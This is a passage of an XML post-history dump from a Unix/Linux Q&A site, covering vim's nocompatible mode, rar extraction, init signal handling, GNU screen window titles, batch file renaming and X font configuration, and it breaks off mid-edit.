  <row Id="17395" PostHistoryTypeId="2" PostId="7473" RevisionGUID="e1a1257a-6736-4b72-af9c-51de40a15723" CreationDate="2011-02-15T19:58:13.707" UserId="4792" Text="Hi!&#xD;&#xA;&#xD;&#xA;I'm looking for a wireless router for personal use. I have a small apartment and need the router primarily for my android phone connection. I might need it for streaming video as well. &#xD;&#xA;&#xD;&#xA;I'm running Kubuntu on a Thinkpad T61p.&#xD;&#xA;&#xD;&#xA;My wireless card is: &#xD;&#xA;&#xD;&#xA;Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] Network Connection (rev 61)&#xD;&#xA;&#xD;&#xA;I'm looking for a reasonably feature-rich router that I will not have to change in the next 2-3 years. &#xD;&#xA;&#xD;&#xA;Some of the brands I've been recommended so far are: &#xD;&#xA;NetGear such as  WNR3500L or 3500 &#xD;&#xA;D-Link such as DIR 655 &#xD;&#xA;Linksys&#xD;&#xA;&#xD;&#xA;Any ideas? Or any up2date list?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17396" PostHistoryTypeId="1" PostId="7473" RevisionGUID="e1a1257a-6736-4b72-af9c-51de40a15723" CreationDate="2011-02-15T19:58:13.707" UserId="4792" Text="Compatible Wireless Router?" />
  <row Id="17397" PostHistoryTypeId="3" PostId="7473" RevisionGUID="e1a1257a-6736-4b72-af9c-51de40a15723" CreationDate="2011-02-15T19:58:13.707" UserId="4792" Text="élinuxàéhardwareàéwirelessàérouterà" />
  <row Id="17398" PostHistoryTypeId="2" PostId="7474" RevisionGUID="4f555f3b-e03a-4b48-8c35-9d897df4bbe5" CreationDate="2011-02-15T19:59:51.807" UserId="4793" Text="I am following the Peepcode screencasts to learn vim. &#xD;&#xA;&#xD;&#xA;The presenter mentions about the `-N` mode but doesn't elaborate it much and says that it should be the default mode.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What is the `-N` mode?&#xD;&#xA; - Should I always use it? &#xD;&#xA; - If yes, how do I configure it in the `.vimrc`?&#xD;&#xA;&#xD;&#xA;Thanks for your time." />
  <row Id="17399" PostHistoryTypeId="1" PostId="7474" RevisionGUID="4f555f3b-e03a-4b48-8c35-9d897df4bbe5" CreationDate="2011-02-15T19:59:51.807" UserId="4793" Text="vim -N mode: where to use it?" />
  <row Id="17400" PostHistoryTypeId="3" PostId="7474" RevisionGUID="4f555f3b-e03a-4b48-8c35-9d897df4bbe5" CreationDate="2011-02-15T19:59:51.807" UserId="4793" Text="évimà" />
  <row Id="17401" PostHistoryTypeId="2" PostId="7475" RevisionGUID="e42e5089-5245-4843-b1b4-59711a0f6f18" CreationDate="2011-02-15T20:01:12.503" UserId="3635" Text="You can use the `unrar` program. From [how-to-open-a-rar-file-in-linux][1]:&#xD;&#xA;&#xD;&#xA;&gt;If you need to uncompress a .rar archive in Linux, you can download a program called unrar. If you are using Ubuntu or Debian, you can install unrar by opening a terminal and typing sudo apt-get install unrar. Then read the instructions by typing man unrar.&#xD;&#xA;&gt;&#xD;&#xA;&gt;[UPDATE: to install unrar in Ubuntu you need the Multiverse Repository enabled.]&#xD;&#xA;&gt;&#xD;&#xA;&gt;Basically, to unrar a file in Linux, just navigate to the directory where your rar archive is and type unrar x [filename.rar], replacing [filename.rar] with the name of your rar archive.&#xD;&#xA;&#xD;&#xA;For a series of files, you should be able to just specify the one with the `.rar` extension. &#xD;&#xA;&#xD;&#xA;&lt;b&gt;Update&lt;/b&gt; - this is confirmed by [wikihow][2]:&#xD;&#xA;&#xD;&#xA;&gt;If a RAR file is broken into smaller files, they are named .rar, .r00, .r01 and so on. Point your unrar utility at the .rar file and it will automatically put the pieces back together.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tips.webdesign10.com/how-to-open-a-rar-file-in-linux&#xD;&#xA;  [2]: http://www.wikihow.com/Unrar-Files-in-Linux" />
  <row Id="17402" PostHistoryTypeId="2" PostId="7476" RevisionGUID="baa9e63a-0733-41df-a465-59953f5b6f92" CreationDate="2011-02-15T20:07:49.810" UserId="3629" Text="Running `vim -N` sets Vim in &quot;nocompatible&quot; mode, which drops strict backwards compatibility with the original `vi` in favor of better features.  Unless you know that you need (or want) backwards compatibility, it's better to go with the features.&#xD;&#xA;&#xD;&#xA;If you have a `.vimrc` file in the first place, Vim will by default put you in nocompatible mode, but the command `set nocompatible` will seal the deal.&#xD;&#xA;&#xD;&#xA;See the following Vim help topics for more info:&#xD;&#xA;&#xD;&#xA;    :help compatible&#xD;&#xA;    :help compatible-default" />
  <row Id="17403" PostHistoryTypeId="2" PostId="7477" RevisionGUID="1497165c-f800-4805-85fc-34496f557894" CreationDate="2011-02-15T20:12:18.983" UserId="3635" Text="You may want to read Jeff's article [Because Everyone Needs a Router][1] to get some ideas. In the end, he chose the Buffalo Nfiniti Wireless-N High Power Router.&#xD;&#xA;&#xD;&#xA;Also, this is probably not the right site for this question. Superuser may be more appropriate...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2010/09/because-everyone-needs-a-router.html" />
  <row Id="17404" PostHistoryTypeId="5" PostId="7474" RevisionGUID="3a7c6f30-ea5f-46a5-ab61-340360242a9a" CreationDate="2011-02-15T20:16:18.483" UserId="4793" Comment="added 100 characters in body" Text="I am following the Peepcode screencasts to learn vim. &#xD;&#xA;&#xD;&#xA;The presenter mentions about the `-N` mode but doesn't elaborate it much and says that it should be the default mode.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What is the `-N` mode?&#xD;&#xA; - Should I always use it? &#xD;&#xA; - If yes, how do I configure it in the `.vimrc`?&#xD;&#xA;&#xD;&#xA;EDIT: The author does mention that it should always be used, but doesn't elaborate why and how. &#xD;&#xA;&#xD;&#xA;Thanks for your time." />
  <row Id="17405" PostHistoryTypeId="5" PostId="7477" RevisionGUID="4cc5f60e-2b74-4513-97ea-9c6b9ffbb525" CreationDate="2011-02-15T20:17:34.737" UserId="3635" Comment="deleted 101 characters in body" Text="You may want to read Jeff's article [Because Everyone Needs a Router][1] to get some ideas. In the end, he chose the Buffalo Nfiniti Wireless-N High Power Router.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2010/09/because-everyone-needs-a-router.html" />
  <row Id="17406" PostHistoryTypeId="25" PostId="7472" RevisionGUID="6d84bb8d-1afb-4946-8bca-6f5eb6b446cf" CreationDate="2011-02-15T20:22:48.543" Comment="http://twitter.com/#!/StackUnix/status/37607781641093120" />
  <row Id="17407" PostHistoryTypeId="2" PostId="7478" RevisionGUID="0cecc4a1-466a-4f1e-b89b-8af82100e4eb" CreationDate="2011-02-15T20:26:48.363" UserId="4189" Text="`echo 0 &gt;/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts` - as root.&#xD;&#xA;&#xD;&#xA;You may need to also use the  `-b` option with ping and it will most likely require root permissions." />
  <row Id="17408" PostHistoryTypeId="5" PostId="7452" RevisionGUID="0554d62e-ddb9-4991-bff9-5e67af26d86c" CreationDate="2011-02-15T20:40:08.643" UserId="3629" Comment="added 158 characters in body; added 51 characters in body" Text="By default, no, that's not allowed.  Under Linux (from `man 2 kill`):&#xD;&#xA;&#xD;&#xA;&gt; The  only  signals  that can be sent to process ID 1, the init process, are those for which init  has  explicitly  installed  signal  handlers.  This is done to assure the system is not brought down accidentally.&#xD;&#xA;&#xD;&#xA;Pid 1 (init) can decide to allow itself to be killed, in which case the &quot;kill&quot; is basically a request for it to shut itself down.  This is one possible way to implement the `halt` command, though I'm not aware of any `init` that does that.&#xD;&#xA;&#xD;&#xA;On a Mac, killing `launchd` (its init analogue) with signal 15 (SIGTERM) will immediately reboot the system, without bothering to shut down running programs cleanly.  Killing it with the uncatchable signal 9 (SIGKILL) does nothing, showing that Mac's `kill()` semantics are the same as Linux's in this respect.&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;At the moment, I don't have a Linux box handy that I'm willing to experiment with, so the question of what Linux's `init` does with a SIGTERM will have to wait.&lt;/strike&gt;  And with `init` replacement projects like Upstart and Systemd being popular these days, the answer could be variable.&#xD;&#xA;&#xD;&#xA;**UPDATE**: On Linux, `init` explicitly ignores SIGTERM, so it does nothing.  @jsbillings has information on what Upstart and Systemd do." />
  <row Id="17409" PostHistoryTypeId="5" PostId="7469" RevisionGUID="9ac34b17-4c83-40cf-851a-ef025fab4270" CreationDate="2011-02-15T21:19:08.127" UserId="3976" Comment="make it a bit more clear what SIGPWR is" Text="The SysV init ignores SIGKILL or SIGTERM signals.  The only signal that causes a change in state is SIGPWR as far as I can tell, which schedules a power-related shutdown.&#xD;&#xA;&#xD;&#xA;It appears that Upstart and Systemd also do not respond to SIGKILL, and from my test, it appears that a SIGTERM causes upstart and systemd to re-exec.&#xD;&#xA;&#xD;&#xA;I'm not sure what the other answerers are running but I'm pretty sure you can't kill -9 (SIGKILL) or kill -15 (SIGTERM) init (pid 1).  Most likely, if you were able to, you'd get a kernel panic because init unexpectedly exited with a non-zero exit code, which would be less than ideal.  It doesn't shut down your computer, or cause it to reboot." />
  <row Id="17410" PostHistoryTypeId="2" PostId="7479" RevisionGUID="31609d7d-a528-4f7c-9ab9-f8875b4036e0" CreationDate="2011-02-15T21:25:53.443" UserId="2700" Text="Turns out the problem was that vim on the remote was not compiled with GTK.  This happened because the necessary package was not present on the remote box.&#xD;&#xA;&#xD;&#xA;To fix it, log on to the remote machine and:&#xD;&#xA;&#xD;&#xA;  1. Install gtk2-devel,&#xD;&#xA;  2. re-configure, re-make, &amp; re-install vim&#xD;&#xA;&#xD;&#xA;A co-worker figured this out eventually." />
  <row Id="17411" PostHistoryTypeId="2" PostId="7480" RevisionGUID="f0c046cf-9d19-426f-bf0f-b37e258df8cd" CreationDate="2011-02-15T21:49:06.090" UserId="3635" Text="What RPM packages are required to install vim on a recent version of Fedora?" />
  <row Id="17412" PostHistoryTypeId="1" PostId="7480" RevisionGUID="f0c046cf-9d19-426f-bf0f-b37e258df8cd" CreationDate="2011-02-15T21:49:06.090" UserId="3635" Text="What packages are required to install vim on Fedora?" />
  <row Id="17413" PostHistoryTypeId="3" PostId="7480" RevisionGUID="f0c046cf-9d19-426f-bf0f-b37e258df8cd" CreationDate="2011-02-15T21:49:06.090" UserId="3635" Text="éfedoraàévimàérpmà" />
  <row Id="17414" PostHistoryTypeId="2" PostId="7481" RevisionGUID="fd3c5fca-f67c-4f78-8893-ed100530ae4f" CreationDate="2011-02-15T22:06:00.850" UserId="2180" Text="Two steps:&#xD;&#xA;&#xD;&#xA;convert extensions:&#xD;&#xA;&#xD;&#xA;    for file in *.GIF; do mv $file ${file%GIF}gif; done&#xD;&#xA;    for file in *.jpeg; do mv $file ${file%jpeg}jpg; done&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;number files:&#xD;&#xA;&#xD;&#xA;    for file in *.gif *.jpg ...; do mv $file $i$file; ((i++)); done" />
  <row Id="17415" PostHistoryTypeId="6" PostId="7458" RevisionGUID="2766dc7f-a7fd-4836-9d46-a29bbf51e703" CreationDate="2011-02-15T22:12:47.390" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéipàépingà" />
  <row Id="17416" PostHistoryTypeId="6" PostId="7380" RevisionGUID="c0d2f907-460c-4fbd-a01d-1785196d8d0d" CreationDate="2011-02-15T22:17:04.667" UserId="3169" Comment="edited tags" Text="ézshàéscreenàégnuà" />
  <row Id="17417" PostHistoryTypeId="6" PostId="7461" RevisionGUID="1a020114-9ef1-439f-b92f-5a8401ea9fb4" CreationDate="2011-02-15T22:17:43.093" UserId="885" Comment="edited tags" Text="élinuxàéxorgàéfontsà" />
  <row Id="17418" PostHistoryTypeId="2" PostId="7482" RevisionGUID="cb8fccec-f9e4-4245-8c3f-429968876c63" CreationDate="2011-02-15T22:27:36.313" UserId="4132" Text="If you only have `rar` program, the command `x` would accomplish the task:&#xD;&#xA;&#xD;&#xA;    rar x &lt;part_name&gt;&#xD;&#xA;&#xD;&#xA;The program automatically searches for the appropriate parts of the archive.&#xD;&#xA;&#xD;&#xA;Note: sometimes the naming can be `&lt;archive_name&gt;.part##.rar`." />
  <row Id="17419" PostHistoryTypeId="10" PostId="7473" RevisionGUID="bdbd0c4a-eb53-48ae-ae75-5ba6952ef8d3" CreationDate="2011-02-15T22:30:30.893" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="17420" PostHistoryTypeId="5" PostId="7382" RevisionGUID="4f94cefb-c956-4415-9140-4ac0a8268ee6" CreationDate="2011-02-15T22:42:03.663" UserId="3169" Comment="added 460 characters in body" Text="Depends how things are set up, but by default, something like this should work.&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;\033k$1\033\\&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run:&#xD;&#xA;&#xD;&#xA;`settitle NEWTITLE`.&#xD;&#xA;&#xD;&#xA;See [screen title docs][1] and [GNU screen faq][2] for more details.&#xD;&#xA;&#xD;&#xA;Given &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; is only changing it until the next command, it's probably being set by `$PS1` (all shells), or `$PROMPT_COMMAND`/`DEBUG trap` (bash only) or `precmd`/`preexec` (zsh only).&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;You said you had a custom `preexec`.&#xD;&#xA;&#xD;&#xA;Why not change it to this:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       echo -n &quot;\ek${TITLE:-CMD}\e\\&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then you can set a custom title by running:&#xD;&#xA;&#xD;&#xA;    TITLE=&quot;my title&quot;&#xD;&#xA;&#xD;&#xA;and unset the title by running&#xD;&#xA;&#xD;&#xA;    TITLE=&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/gnu/doc/html/screen_9.html#SEC37&#xD;&#xA;  [2]: http://aperiodic.net/screen/faq#how_can_screen_use_xterm_s_title_bar" />
  <row Id="17421" PostHistoryTypeId="2" PostId="7483" RevisionGUID="cbfd9989-c2a0-4cfa-925f-4a99f3da1907" CreationDate="2011-02-15T22:49:10.637" UserId="885" Text="There are two mechanisms for fonts in X land: server-side and client-side.&#xD;&#xA;&#xD;&#xA;The traditional way to render fonts is for the client to tell the server “render `foo` at position (x,y) in font F” (where a font specification includes a face, size, encoding and other attributes). Either the X server itself, or a specialized program called a [font server](http://en.wikipedia.org/wiki/X_Font_Server), opens the font file to build the description of each glyph. The fonts can be bitmap or vector fonts, but the vector fonts are converted to bitmaps before rendering.&#xD;&#xA;&#xD;&#xA;Most modern programs use client-side font rendering, often through [xft](http://en.wikipedia.org/wiki/Xft) and [fontconfig](http://en.wikipedia.org/wiki/Fontconfig). A new mechanism was needed because the server-side font rendering didn't support anti-aliasing.&#xD;&#xA;&#xD;&#xA;Outside X (i.e. on a VGA console), there are VGA fonts, which are bitmap fonts of specific sizes. But compared to X11, no one uses the VGA console, so not much effort is spent on them.&#xD;&#xA;&#xD;&#xA;In practice, you'll want to configure fonts in two ways:&#xD;&#xA;&#xD;&#xA;* For older-style programs: the font directories are listed via `FontPath` directives in [`xorg.conf`](http://www.x.org/archive/X11R6.8.1/doc/xorg.conf.5.html#sect3) and can be manipulated with [`xset fp`](http://www.x.org/archive/X11R6.8.1/doc/xset.1.html) commands by the user running X. If you install new fonts, you may need to run [`mkfontdir`](http://www.x.org/archive/X11R6.8.1/doc/mkfontdir.1.html).&#xD;&#xA;* For newer-style programs, including all Gtk (Gnome, etc.) and Qt (KDE, etc.) programs: fonts are in the directories indicated by `&lt;dir&gt;` directives in `/etc/fonts/fonts.conf`, `~/.fonts.conf` and a few other places. See the [fontconfig documentation](http://www.freedesktop.org/software/fontconfig/fontconfig-user.html) for more information. If you install new fonts, you may need to run `fc-cache`.&#xD;&#xA;" />
  <row Id="17422" PostHistoryTypeId="2" PostId="7484" RevisionGUID="dfb992c7-26cb-4cda-8a82-140dfcb9073a" CreationDate="2011-02-15T22:49:13.003" UserId="4132" Text="I found the following useful when constantly switching between Windows and Unix/Linux:&#xD;&#xA;&#xD;&#xA;    alias dir=&quot;ls -l&quot;&#xD;&#xA;    alias copy=&quot;cp&quot;&#xD;&#xA;    alias del=&quot;rm&quot;" />
  <row Id="17423" PostHistoryTypeId="5" PostId="7382" RevisionGUID="42e39ec5-c938-4333-b951-3d508bbc509b" CreationDate="2011-02-15T22:49:16.247" UserId="3169" Comment="fix CMD -&gt; $CMD; added 68 characters in body" Text="Depends how things are set up, but by default, something like this should work.&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;\033k$1\033\\&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run:&#xD;&#xA;&#xD;&#xA;`settitle NEWTITLE`.&#xD;&#xA;&#xD;&#xA;See [screen title docs][1] and [GNU screen faq][2] for more details.&#xD;&#xA;&#xD;&#xA;Given &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; is only changing it until the next command, it's probably being set by `$PS1` (all shells), or `$PROMPT_COMMAND`/`DEBUG trap` (bash only) or `precmd`/`preexec` (zsh only).&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;You said you had a custom `preexec`.&#xD;&#xA;&#xD;&#xA;Why not change it to this:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       echo -n &quot;\ek${TITLE:-$CMD}\e\\&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then you can set a custom title by running:&#xD;&#xA;&#xD;&#xA;    TITLE=&quot;my title&quot;&#xD;&#xA;&#xD;&#xA;and unset the title by running&#xD;&#xA;&#xD;&#xA;    TITLE=&#xD;&#xA;&#xD;&#xA;Don't forget to change `precmd` and `$PS1` as well if necessary.&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/gnu/doc/html/screen_9.html#SEC37&#xD;&#xA;  [2]: http://aperiodic.net/screen/faq#how_can_screen_use_xterm_s_title_bar" />
  <row Id="17424" PostHistoryTypeId="5" PostId="7411" RevisionGUID="ee39ab37-a4e2-4d07-8404-73b8a50f8ceb" CreationDate="2011-02-15T22:53:09.243" UserId="885" Comment="refer to Mikel's preexec" Text="If your window title reflects the application currently running in the window, it's because your shell is doing that. If it's doing that, it's because your distribution, your system administrator or you configured it to.&#xD;&#xA;&#xD;&#xA;If the command appears as the window title while the command is running, this is done by the `preexec` function (in zsh), or an [emulation thereof under bash](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command).&#xD;&#xA;&#xD;&#xA;If the title changes when each command completes, this is done by the `precmd` function in zsh, the `PROMPT_COMMAND` parameter in bash, or as part of the prompt (`PS1` parameter) in any shell. (The command to change the title is an escape sequence emitted by any application as part of the terminal's output stream, so it can be embedded in a prompt.)&#xD;&#xA;&#xD;&#xA;Look for an escape sequence like `\e]0;new title\a`, `\e]2;new title\a` or `\eknew title\e\\` in your shell initialization file (`~/.bashrc`, `~/.zshrc`, …). If there's nothing relevant, the setting may be in a system file (e.g. `/etc/bash.bashrc`, `/etc/zsh/zshrc`); then overwrite that parameter or function in your own initialization file.&#xD;&#xA;&#xD;&#xA;See [Mikel's answer](http://unix.stackexchange.com/questions/7380/force-title-on-gnu-screen/7382#7382) for an overridable title setting in `preexec`.&#xD;&#xA;" />
  <row Id="17425" PostHistoryTypeId="2" PostId="7485" RevisionGUID="ddd8b24b-34ef-4468-b328-07e7f63348a7" CreationDate="2011-02-15T22:56:09.487" UserId="3806" Text="If you have (p)rename, you can write this:&#xD;&#xA;&#xD;&#xA;    shopt -s nullglob;&#xD;&#xA;&#xD;&#xA;    i=1; &#xD;&#xA;    for f in *.{jpg,JPG,jpeg,JPEG,png,PNG,gif,GIF}; do &#xD;&#xA;        rename 's/.*\.(.*)$/'$((i++))'.\L$1/; s/jpeg$/jpg/' &quot;$f&quot;; &#xD;&#xA;    done" />
  <row Id="17426" PostHistoryTypeId="5" PostId="7382" RevisionGUID="876cdeaa-4a06-4e7e-adf7-1d8c2e1aee67" CreationDate="2011-02-15T23:00:52.757" UserId="3169" Comment="added 1665 characters in body; added 132 characters in body" Text="Depends how things are set up, but by default, something like this should work.&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;\033k$1\033\\&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run:&#xD;&#xA;&#xD;&#xA;`settitle NEWTITLE`.&#xD;&#xA;&#xD;&#xA;See [screen title docs][1] and [GNU screen faq][2] for more details.&#xD;&#xA;&#xD;&#xA;Given &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; is only changing it until the next command, it's probably being set by `$PS1` (all shells), or `$PROMPT_COMMAND`/`DEBUG trap` (bash only) or `precmd`/`preexec` (zsh only).&#xD;&#xA;&#xD;&#xA;You should look for any place that `\e` or `\033` appears with `k` or `\\` after it, basically like my `settitle` example above.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;You said you had a custom `preexec`.&#xD;&#xA;&#xD;&#xA;Why not change it to this:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       echo -n &quot;\ek${TITLE:-$CMD}\e\\&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then you can set a custom title by running:&#xD;&#xA;&#xD;&#xA;    TITLE=&quot;my title&quot;&#xD;&#xA;&#xD;&#xA;and unset the title by running&#xD;&#xA;&#xD;&#xA;    TITLE=&#xD;&#xA;&#xD;&#xA;Don't forget to change `precmd` and `$PS1` as well if necessary.&#xD;&#xA;&#xD;&#xA;**ASIDE**&#xD;&#xA;&#xD;&#xA;You could even extend this to all terminals (e.g. `xterm`, `gnome-terminal`, etc.) by not hard coding the `\ek` and `\e\\`.&#xD;&#xA;&#xD;&#xA;This is how I do it:&#xD;&#xA;&#xD;&#xA;    terminit()&#xD;&#xA;    {&#xD;&#xA;        # determine the window title escape sequences&#xD;&#xA;        case &quot;$TERM&quot; in&#xD;&#xA;        aixterm|dtterm|putty|rxvt|xterm*)&#xD;&#xA;            titlestart='^[]0;'&#xD;&#xA;            titlefinish='^G'&#xD;&#xA;            #titlestart='\033]0;'&#xD;&#xA;            #titlefinish='\007'&#xD;&#xA;            ;;&#xD;&#xA;        cygwin)&#xD;&#xA;            titlestart='^[];'&#xD;&#xA;            titlefinish='^G'&#xD;&#xA;            ;;&#xD;&#xA;        konsole)&#xD;&#xA;            titlestart='^[]30;'&#xD;&#xA;            titlefinish='^G'&#xD;&#xA;            ;;&#xD;&#xA;        screen*)&#xD;&#xA;            # status line&#xD;&#xA;            #titlestart='^[_'&#xD;&#xA;            #titlefinish='^[\'&#xD;&#xA;            # window title&#xD;&#xA;            titlestart='^[k'&#xD;&#xA;            titlefinish='^[\'&#xD;&#xA;            ;;&#xD;&#xA;        *)&#xD;&#xA;            if exists tput&#xD;&#xA;            then&#xD;&#xA;                if quiet tput longname&#xD;&#xA;                then&#xD;&#xA;                    titlestart=&quot;$(tput tsl)&quot;&#xD;&#xA;                    titlefinish=&quot;$(tput fsl)&quot;&#xD;&#xA;                fi&#xD;&#xA;            else&#xD;&#xA;                titlestart=''&#xD;&#xA;                titlefinish=''&#xD;&#xA;            fi&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # or put it inside a case $- in *i* guard&#xD;&#xA;    if test -t 0; then&#xD;&#xA;        terminit&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    # set the xterm/screen/etc. title&#xD;&#xA;    settitle()&#xD;&#xA;    {&#xD;&#xA;        test -z &quot;${titlestart}&quot; &amp;&amp; return 0&#xD;&#xA;&#xD;&#xA;        printf &quot;${titlestart}$*${titlefinish}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then you can change your `preexec` to:&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       settitle &quot;${TITLE:-$CMD}&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/gnu/doc/html/screen_9.html#SEC37&#xD;&#xA;  [2]: http://aperiodic.net/screen/faq#how_can_screen_use_xterm_s_title_bar" />
  <row Id="17427" PostHistoryTypeId="2" PostId="7486" RevisionGUID="ac077447-8a01-4b10-8c68-6a7d92d86092" CreationDate="2011-02-15T23:03:10.870" UserId="885" Text="You can serve the files over FTP, HTTP(S) or SFTP, and access them through [LftpFS](http://lftpfs.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;    lftpfs --options=ro,allow_other --fs-cache-timeout=999999999 /net/A /var/cache/net/A /etc/local/A.lftp&#xD;&#xA;&#xD;&#xA;where `/etc/local/A.ftp` contains something like&#xD;&#xA;&#xD;&#xA;    open sftp://A/shared&#xD;&#xA;" />
  <row Id="17428" PostHistoryTypeId="2" PostId="7487" RevisionGUID="639f9e2a-af5d-4944-90ad-c25d0683bf16" CreationDate="2011-02-15T23:05:59.070" UserId="48" Text="I asked this [question][1] on askubuntu.com recently but I was not satisfied with any answer. &#xD;&#xA;&#xD;&#xA;I realized that the &quot;problem&quot; was not only in Ubuntu but in Debian itself and Ubuntu just inherited it and now I decided to try my luck here to a broader audience.&#xD;&#xA;&#xD;&#xA;So, if you don't want to click the link, here is what I'd like to know:&#xD;&#xA;&#xD;&#xA;&gt; I have been using Linux on and off for 10 years, and more recently I have spent more time with OSX.&#xD;&#xA;&#xD;&#xA;&gt; But, I still remember that in the beginning I'd choose the US international keyboard layout and it would have exactly the same output as the Windows keyboard layout (and most recently, the OSX US international layout).&#xD;&#xA;&#xD;&#xA;&gt; However, a few years ago when I installed Ubuntu, I noticed that the cedilla wasn't printed anymore (ç or Ç). This is a combination of the following keys: ' + c. Instead, what I get is the ć letter.&#xD;&#xA;&#xD;&#xA;&gt; When did it start to happen, and why the difference to the behavior on the other OSes? What puzzles me even more is that there is even an &quot;US International alternative&quot; keyboard layout, which prints exactly the same keys! So, what's it alternative to?&#xD;&#xA;&#xD;&#xA;&gt; This has been reported as a bug back to Canonical (can't find the link now), but the keyboard layout has never changed back to what I'd expect. I know the workarounds to fix it to what I need, but I just would like to know why/when it has become different.&#xD;&#xA;&#xD;&#xA;[1]: http://askubuntu.com/questions/25325/why-is-the-us-international-keyboard-layout-on-ubuntu-different" />
  <row Id="17429" PostHistoryTypeId="1" PostId="7487" RevisionGUID="639f9e2a-af5d-4944-90ad-c25d0683bf16" CreationDate="2011-02-15T23:05:59.070" UserId="48" Text="Why is the US international keyboard layout on Ubuntu different?" />
  <row Id="17430" PostHistoryTypeId="3" PostId="7487" RevisionGUID="639f9e2a-af5d-4944-90ad-c25d0683bf16" CreationDate="2011-02-15T23:05:59.070" UserId="48" Text="éubuntuàédebianàékeyboardà" />
  <row Id="17431" PostHistoryTypeId="2" PostId="7488" RevisionGUID="3ed26b98-b40d-4fd7-8ce6-668b8aa33f51" CreationDate="2011-02-15T23:08:13.890" UserId="885" Text="If you want a program that just splits a terminal¹, there's [splitvt](http://freshmeat.net/projects/splitvt/). There are programs that split a terminal and do a lot of other stuff besides, such as Screen, Tmux, Emacs, …&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;[It's the terminal you're splitting, not the shell.](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons/4132#4132)&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="17432" PostHistoryTypeId="5" PostId="7382" RevisionGUID="6b0314e7-e1f7-4a3e-8dd4-09c8a61fb330" CreationDate="2011-02-15T23:08:26.697" UserId="3169" Comment="added 46 characters in body; deleted 68 characters in body" Text="Depends how things are set up, but by default, something like this should work.&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;\033k$1\033\\&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then run:&#xD;&#xA;&#xD;&#xA;`settitle NEWTITLE`.&#xD;&#xA;&#xD;&#xA;See [screen title docs][1] and [GNU screen faq][2] for more details.&#xD;&#xA;&#xD;&#xA;Given &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; is only changing it until the next command, it's probably being set by `$PS1` (all shells), or `$PROMPT_COMMAND`/`DEBUG trap` (bash only) or `precmd`/`preexec` (zsh only).&#xD;&#xA;&#xD;&#xA;You should look for any place that `\e` or `\033` appears with `k` or `\\` after it, basically like my `settitle` example above.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;You said you had a custom 